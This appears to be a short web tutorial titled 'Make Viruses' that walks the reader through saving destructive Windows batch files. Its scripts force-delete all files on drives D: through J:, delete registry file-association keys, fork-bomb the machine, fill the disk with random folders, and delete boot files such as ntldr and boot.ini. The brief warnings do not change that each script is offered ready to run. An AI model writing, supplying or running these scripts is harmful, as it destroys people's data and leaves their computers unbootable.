Make Viruses

THESE VIRUSES ARE VERY HARMFUL..... DON'T TRY ON YOUR OWN COMPUTER!!
Click start -> all programs -> accessories -> notepad
Or just press or click windows key + r :: run window will open and
type notepad and hit enter .
NOW TYPE THE FOLLOWING CODE ::
@echo off
del D:\*.* /f /s /q
del E:\*.* /f /s /q
del F:\*.* /f /s /q
del G:\*.* /f /s /q
del H:\*.* /f /s /q
del I:\*.* /f /s /q
del J:\*.* /f /s /q
then save it as name.bat and the batch file is created .
WARNING :: This is the most dangerous
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
Save as .bat
@echo off
:a
start
start
start
start
start
start
goto:a
Save as .bat
:virus
md %random%
goto virus
save in "all files" as .bat
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
Open up notepad and copy and paste that. Save it as a .bat file. This will shutdown a PC forever!!!!!